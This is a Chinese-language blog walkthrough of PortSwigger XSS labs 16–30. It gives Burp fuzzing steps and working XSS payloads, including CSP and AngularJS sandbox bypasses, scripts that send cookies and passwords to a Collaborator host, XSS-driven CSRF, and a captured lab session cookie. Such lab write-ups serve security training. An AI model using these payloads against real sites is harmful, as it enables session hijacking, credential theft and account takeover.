burp靶场--xss下篇【16-30】

burp靶场–xss下篇【16-30】

https://portswigger.net/web-security/all-labs#cross-site-scripting

实验16:允许使用一些 SVG 标记的反射型 XSS

### 实验要求:
该实验室有一个简单的反射型 XSS漏洞。该网站阻止了常见标签,但错过了一些 SVG 标签和事件。
要解决该实验室问题,请执行调用该函数的跨站点脚本alert()攻击。### 实验操作:
注入标准 XSS 负载,例如:<img src=1 onerror=alert(1)>
观察该有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
打开Burp的浏览器并使用实验室中的搜索功能。将生成的请求发送给 Burp Intruder。
在 Burp Intruder 的“位置”选项卡中,单击“清除§”。
在请求模板中,将搜索词的值替换为:<>
将光标放在尖括号之间,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:<§§>
访问XSS 备忘单并单击“将标签复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。<svg>观察到所有有效负载都导致了 HTTP 400 响应,但使用、<animatetransform>、<title>和标签的有效负载除外<image>,它们收到了 200 响应。
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:<svg><animatetransform%20=1>
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:<svg><animatetransform%20§§=1>
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。单击“开始攻击”。
攻击完成后,查看结果。请注意,除了导致 200 响应的有效负载之外,所有有效负载onbegin都会导致 HTTP 400 响应。在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

查看输入输出:
在这里插入图片描述
测试常用payload被阻止:
在这里插入图片描述

搜索框测试:
在这里插入图片描述
Fuzz支持的标签:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
在这里插入图片描述
在这里插入图片描述
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:

<animatetransform%20=1>
将光标放在=字符之前,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应该是:

<animatetransform%20§§=1>
访问XSS 备忘单并单击“将事件复制到剪贴板”。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在浏览器中访问以下网址,确认alert()函数被调用,实验已解决:

https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
我的是:
https://0aa50066031b5831809cd0a3006f00ee.h1-web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
在这里插入图片描述
在这里插入图片描述

实验17:规范链接标签中反射的 XSS

### 实验要求:
本实验在规范链接标记中反映用户输入并转义尖括号。要完成该实验,请在主页上执行跨站点脚本alert攻击,注入调用该函数的属性。为了帮助您利用漏洞,您可以假设模拟用户将按下以下组合键:ALT+SHIFT+X
CTRL+ALT+X
Alt+X
请注意,本实验的预期解决方案只能在 Chrome 中实现。### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,alert将调用该函数。要对自己触发漏洞利用,请按以下组合键之一:
在 Windows 上:ALT+SHIFT+X
在 MacOS 上:CTRL+ALT+X
在 Linux 上:Alt+X

在这里插入图片描述
浏览器访问:https://0a51005504cd9d4e8197896b007a00de.web-security-academy.net/?%27accesskey=%27x%27οnclick=%27alert(1)
在这里插入图片描述

实验18:将 XSS 反射到 JavaScript 字符串中,并转义单引号和反斜杠

### 实验要求:
该实验室在搜索查询跟踪功能中包含反映的跨站点脚本漏洞。反射发生在单引号和反斜杠转义的 JavaScript 字符串内。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。### 实验要求:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
将您的输入替换为以下有效负载以突破脚本块并注入新脚本:</script><script>alert(1)</script>
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

实验19:将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义

### 实验要求:
该实验室在搜索查询跟踪功能中包含一个反映的跨站点脚本漏洞,其中尖括号和双引号是 HTML 编码的,单引号被转义。
要完成此实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用该alert函数。### 实验操作:
在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload并观察您的单引号被反斜杠转义,从而防止您打破字符串。
尝试发送有效负载test\payload并观察您的反斜杠没有被转义。
将您的输入替换为以下有效负载,以打破 JavaScript 字符串并注入警报:
\'-alert(1)//
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验20:使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码并转义单引号和反斜杠

### 实验要求:
该实验在评论功能中包含一个存储的跨站点脚本漏洞。
要完成此实验,请提交一条评论,该评论将alert在单击评论作者姓名时调用该函数。### 实验操作:
在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
观察第二个 Repeater 选项卡中的随机字符串已反映在onclick事件处理程序属性内。
再次重复该过程,但这次修改您的输入以注入调用 的 JavaScript URL alert,使用以下有效负载:
http://foo?&apos;-alert(1)-&apos;
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。

发布评论,查看评论:
在这里插入图片描述

在这里插入图片描述
测试过滤:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
插入恶意js:注意重放器中提交恶意js实验失败,&符号被html编码:
在这里插入图片描述
在这里插入图片描述

直接使用浏览器提交恶意js:
在这里插入图片描述

在这里插入图片描述

实验21:将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义

实验22:利用跨站点脚本窃取 cookie

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的会话 cookie,然后使用该 cookie 冒充受害者。### 实验操作:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
此脚本将使查看评论的任何人向公共 Collaborator 服务器上的子域发出包含其 cookie 的 POST 请求。返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者 cookie 的值。
重新加载博客主页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送请求以解决实验室问题。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来/my-account加载管理员用户的帐户页面。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其会话 cookie 。然而,这远没有那么微妙,因为它公开暴露了 cookie,并且还公开了执行攻击的证据。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

secret=j6QrPgsSKullI388Ifkwe2W975FISQjd; session=5HEJcBcF8kpfb9Xtb0l6N8REecKh85yQ
在这里插入图片描述

实验23:利用跨站点脚本捕获密码

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。模拟受害者用户在发布评论后查看所有评论。要解决该实验室问题,请利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。### 实验说明:
使用 Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
此脚本将使查看评论的任何人向您的公共 Collaborator 服务器的子域发出包含其用户名和密码的 POST 请求。返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
记下 POST 正文中受害者的用户名和密码的值。
使用凭据以受害者用户身份登录。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF来使受害者在博客评论中发布其凭据。然而,这远没有那么微妙,因为它公开暴露了用户名和密码,并且还公开了执行攻击的证据。

评论处提交恶意js:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验24:利用XSS进行CSRF

### 实验要求:
本实验在博客评论功能中包含一个存储型 XSS 漏洞。要解决该实验室问题,请利用该漏洞执行 CSRF 攻击并更改查看博客文章评论的人员的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
如果您查看该页面的源代码,您将看到以下信息:
您需要向 发出 POST 请求/my-account/change-email,并使用名为 的参数email。
在名为 的隐藏输入中有一个反 CSRF 令牌token。
这意味着您的利用需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
在博客评论中提交以下有效负载:<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open('post', '/my-account/change-email', true);changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
这将使查看评论的任何人发出 POST 请求,将其电子邮件地址更改为test@test.com。

在这里插入图片描述
构造XSS

攻击需要加载用户帐户页面,提取CSRF令牌,然后使用该令牌更改受害者的电子邮件地址
在这里插入图片描述
查看博客评论,查看的受害者的邮箱被修改:
在这里插入图片描述

实验25:使用 AngularJS 沙箱转义(不带字符串)反射 XSS

### 实验要求:
本实验以一种不寻常的方式使用 AngularJS,其中该$eval函数不可用,并且您将无法在 AngularJS 中使用任何字符串。
要解决该实验室问题,请执行跨站点脚本攻击,该攻击可以逃脱沙箱并alert在不使用该$eval函数的情况下执行该函数。### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞用于toString()创建一个不使用引号的字符串。然后它获取String原型并覆盖charAt每个字符串的函数。这有效地破坏了 AngularJS 沙箱。接下来,将一个数组传递给orderBy过滤器。toString()然后,我们再次使用创建字符串和构造函数属性来设置过滤器的参数String。最后,我们使用该fromCharCode方法通过将字符代码转换为字符串来生成我们的有效负载x=alert(1)。因为该charAt函数已被覆盖,所以 AngularJS 将允许在通常不允许的情况下使用此代码。

解决实验:执行一个跨站点脚本攻击,该攻击可以跳出沙箱并在不使用$eval函数的情况下执行alert函数

part1:

payload:

访问以下URL(将YOUR-LAB-ID替换为您的实验室ID)

https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

我的是:
https://0ad900d4034b4aad8215badb00560084.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
原理:

1、该漏洞利用使用toString()创建不使用引号的字符串。然后获取String原型并为每个字符串重写charAt函数。这有效地打破了AngularJS沙箱。

2、将数组传递给orderBy筛选器。

3、再次使用toString()创建一个字符串和String构造函数属性来设置过滤器的参数。

4、使用fromCharCode方法将字符代码转换为字符串x=alert(1),从而生成有效负载。因为charAt函数已被覆盖,AngularJS将允许此代码,而通常不会允许此代码

在这里插入图片描述

实验26:使用 AngularJS 沙箱逃逸和 CSP 反射 XSS

### 实验要求:
本实验室使用 CSP 和 AngularJS。
要解决该实验室问题,请执行跨站点脚本攻击,绕过 CSP、逃离 AngularJS 沙箱并发出警报document.cookie。### 实验操作:
转到漏洞利用服务器并粘贴以下代码,替换YOUR-LAB-ID为您的实验室 ID:<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
单击“存储”和“向受害者提供漏洞利用”。
该漏洞利用ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。它还使用$event,它是引用事件对象的 AngularJS 变量。该path属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含该window对象。通常,|在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是过滤orderBy器。冒号表示正在发送到过滤器的参数。在参数中,alert我们没有直接调用函数,而是将其分配给变量z。orderBy仅当操作到达数组window中的对象时才会调用该函数$event.path。这意味着它可以在窗口范围内调用,而无需显式引用该window对象,从而有效地绕过 AngularJS 的window检查。

1、内容安全策略(CSP)绕过的工作方式与标准沙箱转义类似,但通常涉及一些HTML注入。当CSP模式在AngularJS中处于活动状态时,它以不同的方式解析模板表达式,并避免使用Function构造函数。这意味着上面描述的标准沙箱转义将不再起作用。

2、根据特定的策略,CSP将阻止JavaScript事件。但是,AngularJS定义了自己的事件,可以替代使用。在事件内部时,AngularJS定义一个特殊的 $event对象,该对象仅引用浏览器事件对象。可以使用此对象执行CSP绕过。在Chrome上,有一个特殊的属性 $event/event 对象调用path。此属性包含导致事件执行的对象数组。最后一个属性始终是window对象,我们可以使用它来执行沙箱转义。通过将此数组传递给orderBy过滤器,我们可以枚举数组并使用最后一个元素(window对象)来执行全局函数,例如alert()。

下面的代码演示了这一点:

这里使用了from()函数,它允许您将对象转换为数组,并对该数组的每个元素调用给定函数(在第二个参数中指定)。在本例中,调用alert()函数。不能直接调用函数,因为AngularJS沙盒会解析代码并检测到window对象正被用于调用函数。相反,使用 from()函数可以有效地隐藏沙箱中的window对象,从而允许注入恶意代码

3、使用AngularJS沙箱转义绕过CSP

当使用了长度限制,因此上面的向量将不起作用。需要考虑各种隐藏windowAngularJS沙盒中的对象。

执行此操作的一种方法是使用 array.map()功能如下:
[1].map(alert)
map()接受一个函数作为参数,并为数组中的每一项调用该函数。这将绕过沙箱,因为对alert()函数的引用没有显式引用窗口。尝试各种方法来执行alert(),而不触发AngularJS的窗口检测
在这里插入图片描述
在这里插入图片描述

实验27:事件处理程序和href属性被阻止的反射型 XSS

### 实验要求:
该实验室包含一个反射型 XSS 漏洞,带有一些白名单标签,但所有事件和锚点href属性都被阻止。
要解决该实验室问题,请执行跨站点脚本攻击,注入一个向量,单击该向量即可调用该alert函数。
请注意,您需要使用“Click”一词来标记您的矢量,以诱导模拟实验室用户单击您的矢量。例如:
<a href="">Click me</a>### 实验操作:
访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

在这里插入图片描述
在这里插入图片描述

实验28:JavaScript URL 中反映了 XSS,并阻止了某些字符

### 实验要求:
本实验反映了您在 JavaScript URL 中的输入,但一切并不像看上去的那样。乍一看,这似乎是一个微不足道的挑战;但事实上,这似乎是一个微不足道的挑战。但是,该应用程序正在阻止某些字符以试图防止 XSS 攻击。要完成该实验,请执行跨站点脚本攻击,该攻击使用消息中某处包含的alert字符串调用该函数。 1337alert### 实验操作:```访问以下 URL,替换YOUR-LAB-ID为您的实验室 ID:https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
实验室将被解决,但只有当您单击页面底部的“返回博客”时才会调用警报。该漏洞利用异常处理来调用alert带有参数的函数。使用该throw语句时,用空白注释分隔,以避免无空格限制。该alert函数被分配给onerror异常处理程序。由于throw是语句,因此不能用作表达式。相反,我们需要使用箭头函数创建一个块,以便throw可以使用该语句。然后我们需要调用这个函数,因此我们将它分配给 的toString属性window,并通过强制 的字符串转换来触发它window。

本实验反映了在JavaScript URL中的输入,但并非一切都像看上去的那样。这最初看起来像是一个微不足道的挑战,但应用程序阻止了一些字符,试图防止XSS攻击

解决实验:执行跨站点脚本攻击,该攻击使用alert消息中某处包含的字符串1337调用alert函数

part1:

payload:

5&‘},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+’‘,{x:’
URL编码:

5&%27},x=x=%3E{throw/**/οnerrοr=alert,1337},toString=x,window%2b%27%27,{x:%27
利用漏洞攻击使用异常处理调用带有参数的alert函数。使用throw语句,用一个空白注释分隔,以绕过没有空格的限制。alert函数被分配给onerror异常处理程序。

由于throw是一个语句,因此不能用作表达式。相反需要使用箭头函数来创建一个块,以便可以使用throw语句。然后需要调用这个函数,所以将它赋给window的toString属性,并通过强制window进行字符串转换来触发它。

在这里插入图片描述

实验29:反射型 XSS 受非常严格的 CSP 保护,具有悬空标记攻击【略…】

### 实验要求:
本实验使用严格的 CSP,阻止对外部网站的传出请求。
要解决该实验室问题,首先执行跨站点脚本攻击,绕过 CSP 并使用 Burp Collaborator 窃取模拟受害者用户的 CSRF 令牌。然后,您需要将模拟用户的电子邮件地址更改为hacker@evil-user.net。
您必须用“Click”一词标记您的矢量,以诱导模拟用户单击它。例如:
<a href="">Click me</a>
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
使用上面提供的帐户登录实验室。
检查更改电子邮件功能。观察参数中存在XSS漏洞email。
转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
回到实验室,转到漏洞利用服务器并添加以下代码,分别将YOUR-LAB-ID和替换YOUR-EXPLOIT-SERVER-ID为您的实验室 ID 和漏洞利用服务器 ID,并替换YOUR-COLLABORATOR-ID为您刚刚从 Burp Collaborator 复制的有效负载。<script>
if(window.name) {new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);} else {location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
单击“存储”,然后单击“向受害者提供漏洞利用”。当用户访问包含此恶意脚本的网站时,如果他们在仍登录实验室网站的情况下单击“Click me”链接,他们的浏览器将向您的恶意网站发送包含 CSRF 令牌的请求。然后,您可以使用 Burp Collaborator 窃取此 CSRF 令牌。
返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该看到由应用程序发起的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。
打开Burp的拦截功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任意随机地址的请求。
在Burp中,转到拦截的请求并将email参数的值更改为hacker@evil-user.net。
右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。
单击“选项”并确保激活“包括自动提交脚本”。
单击“重新生成”更新 CSRF HTML,使其包含被盗的令牌,然后单击“复制 HTML”将其保存到剪贴板。
删除请求并关闭拦截功能。
返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。
单击“存储”和“向受害者提供漏洞利用”。用户的电子邮件将更改为hacker@evil-user.net。

第一步:正常用登陆:wiener:peter
在这里插入图片描述
在这里插入图片描述
(将YOUR-LAB-ID和YOUR-EXPLOIT-SERVER-ID分别替换为实验室ID和漏洞利用服务器ID,并将YOUR-COLABORATOR-ID替换为刚刚从Burp Collaborator复制的有效负载)

我的是:

提交代码到自己控制的服务器:
在这里插入图片描述

单击"存储",然后单击"向受害者发送利用漏洞攻击"。当用户访问包含此恶意脚本的网站时,如果他们在仍登录的情况下单击"Click me"链接,其浏览器将向您的恶意网站发送包含其CSRF令牌的请求。然后可以使用Burp Collaborator客户端窃取这个CSRF令牌。
在这里插入图片描述

实验30:反射型 XSS 受 CSP 保护,具有 CSP 绕过功能【略…】

参考:

### burp官方xss payload:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
### 【Burp系列】超全XSS跨站漏洞实验总结[上]
https://mp.weixin.qq.com/s/mQuMaEZW90VWdE_kde85hw
### 【Burp系列】超全XSS跨站漏洞实验总结[下]
https://mp.weixin.qq.com/s/Ouh2JL9F659U0p6HuLHS_g
###  burp官方:
https://portswigger.net/web-security/cross-site-scripting
### owasp xss:
### 跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery
### 反射型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
### 存储型跨站请求伪造:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting
### DOM型:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting
### 跨站脚本包含:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion
### Cross Site Flashing:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing
### payloadsallthings xss:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection### xss src挖掘:
https://mhtsec.com/index.php/archives/24/
https://zhuanlan.zhihu.com/p/22674164
https://websec.readthedocs.io/zh/latest/vuln/xss/index.html
https://_thorns.gitbooks.io/sec/content/yi_ci_zhen_dui_cun_chu_xing_xss_de_fuzzing.html## xss bypass
https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/659154.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Excel没有内置统计字数功能,但可以用一些变通的方法

是否需要计算Excel工作簿中某个单元格或单元格范围内的单词数? 出于多种原因,你可能需要计算文本数据中的字数。也许你有逗号分隔的列表,需要计算每个列表中的项目数。 不幸的是,Excel没有内置的单词计数方法。但是有一些聪明的方法可以得到你需要的结果。 这篇文章将向…

三步实现 Sentinel-Nacos 持久化

一、背景 版本&#xff1a;【Sentinel-1.8.6】 模式&#xff1a;【Push 模式】 参照官网介绍&#xff1a;生产环境下使用Sentinel &#xff0c;规则管理及推送模式有以下3种模式&#xff1a; 比较之后&#xff0c;目前微服务都使用了各种各样的配置中心&#xff0c;故采用Pus…

springboot综合案例(一)

文章目录 前言项目开发流程需求分析库表设计编码环节环境搭建mybatis的配置jsp模版引擎的配置日志的配置基本项目工程的配置 功能实现用户注册实现验证码功能实现用户注册 用户登录功能员工列表实现员工信息增删查改员工增加信息员工修改信息删除员工信息 前言 我具体用一个小…

【springboot图书个性化推荐系统】

前言 &#x1f31e;博主介绍&#xff1a;✌全网粉丝15W,CSDN特邀作者、211毕业、高级全栈开发程序员、大厂多年工作经验、码云/掘金/华为云/阿里云/InfoQ/StackOverflow/github等平台优质作者、专注于Java、小程序技术领域和毕业项目实战&#xff0c;以及程序定制化开发、全栈…

WindTerm 安装使用教程

一、WindTerm 功能介绍 WindTerm 是一款 Github 上开源的 SSH 终端工具&#xff0c;它是完全可以比肩 MobaXterm 工具的。其支持的系统及功能如下&#xff1a; 功能支持&#xff1a; SSHTelnetShellTCPSerialSFTPCmdPowerShellGit 二、WindTerm 官网下载 有两种获取方法&…

SpringBoot集成MongoDB(3)|(MongoTemplate的List操作)

SpringBoot集成MongoDB&#xff08;3&#xff09;|&#xff08;MongoTemplate的List操作&#xff09; 文章目录 SpringBoot集成MongoDB&#xff08;3&#xff09;|&#xff08;MongoTemplate的List操作&#xff09;[TOC] 前言一、场景说明一、向数组字段添加元素二、从数组中删…

机器学习 低代码 ML:PyCaret 的使用

✅作者简介&#xff1a;人工智能专业本科在读&#xff0c;喜欢计算机与编程&#xff0c;写博客记录自己的学习历程。 &#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&…

VirtualBox中Ubuntu硬盘扩容

1.选中要扩容的虚拟机点击属性按钮&#xff0c;选择存储后点击控制器&#xff1a;STAT右边的 按钮 2.创建虚拟硬盘 在弹出框中选择创建按钮&#xff0c;选择VDI后点击下一步按钮 选择动态分配后点击下一步按钮 3.设置文件位置和大小 选择要保存的虚拟硬盘文件路径&#xff0c…

会计试算平衡

目录 一. 试算平衡的意义二. 试算平衡的原理和内容三. 试算平衡表 \quad 一. 试算平衡的意义 \quad ①验证错误 ②便于编制会计报表 试算表根据各分类账借贷余额汇总编制而成&#xff0c;依据试算表编制会计报表将比直接依据分类账来编制更为方便,拥有大量分类账的企业尤为便捷…

basic CNN

文章目录 回顾卷积神经网络卷积卷积核卷积过程卷积后图像尺寸计算公式&#xff1a;代码 padding代码 Stride代码 MaxPooling代码 一个简单的卷积神经网络用卷积神经网络来对MINIST数据集进行分类如何使用GPU代码 练习 回顾 下面这种由线形层构成的网络是全连接网络。 对于图像…

分治 (地毯填补问题)

地毯填补问题 题目描述 相传在一个古老的阿拉伯国家里&#xff0c;有一座宫殿。宫殿里有个四四方方的格子迷宫&#xff0c;国王选择驸马的方法非常特殊&#xff0c;也非常简单&#xff1a;公主就站在其中一个方格子上&#xff0c;只要谁能用地毯将除公主站立的地方外的所有地…

万户 ezOFFICE DocumentEdit_unite.jsp SQL注入漏洞复现

0x01 产品简介 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日…

Python下载安装与环境配置

本文将指导您完成Python的下载、安装以及环境配置过程&#xff0c;确保您在编写和运行Python代码时能够获得最佳体验。我们将提供详细的步骤和代码示例&#xff0c;帮助您顺利完成设置。 一、Python下载与安装 访问Python官网&#xff1a;首先&#xff0c;您需要访问Python的官…

Pycharm 关闭/退出烦人的Pytest模式

Pycharm 遇到&#xff1a;Run Python tests in ***.py &#xff0c;但很多时候我们并不需要&#xff0c;真心烦人&#xff01; 如何解决: 1 打开File-Settings &#xff08;图片是新版界面&#xff0c;旧版同样操作&#xff09; 2 Tools 中的Python Integrated Tools 在Tes…

LeetCode —— 137. 只出现一次的数字 II

&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️Take your time ! &#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️…

第17次修改了可删除可持久保存的前端html备忘录:增加年月日星期,增加倒计时,更改保存区名称可以多个备忘录保存不一样的信息,匹配背景主题:现代深色

第17次修改了可删除可持久保存的前端html备忘录&#xff1a;增加年月日星期&#xff0c;增加倒计时&#xff0c;更改保存区名称可以多个备忘录保存不一样的信息&#xff0c;匹配背景主题&#xff1a;现代深色 备忘录代码&#xff1a; <!DOCTYPE html> <html lang&quo…

“死“社群先不要扔,想办法激活一下,隔壁的运营都馋哭了

私域运营已成为当下很多企业寻求增长的标配。在这过程中&#xff0c;社群运营就是极为重要的一个环节。过去我们为了流量&#xff0c;疯狂建群拉人。但建社群容易活跃难&#xff0c;活跃一段时间后&#xff0c;社群会越来越安静。 不仅如此&#xff0c;群主和管理员也渐渐疏于…

c++ 字符串切分split

c 字符串切分split 的举例实现 一共给出了四种方式 1、 strtok 2、 stringstream 3、 字符串查找 4、 基于封装的方式&#xff0c;提供了 c11 foreach 接口 代码 vector<string> split(string s) {vector<string> res;const char *p strtok((char *) s.c_str(),…

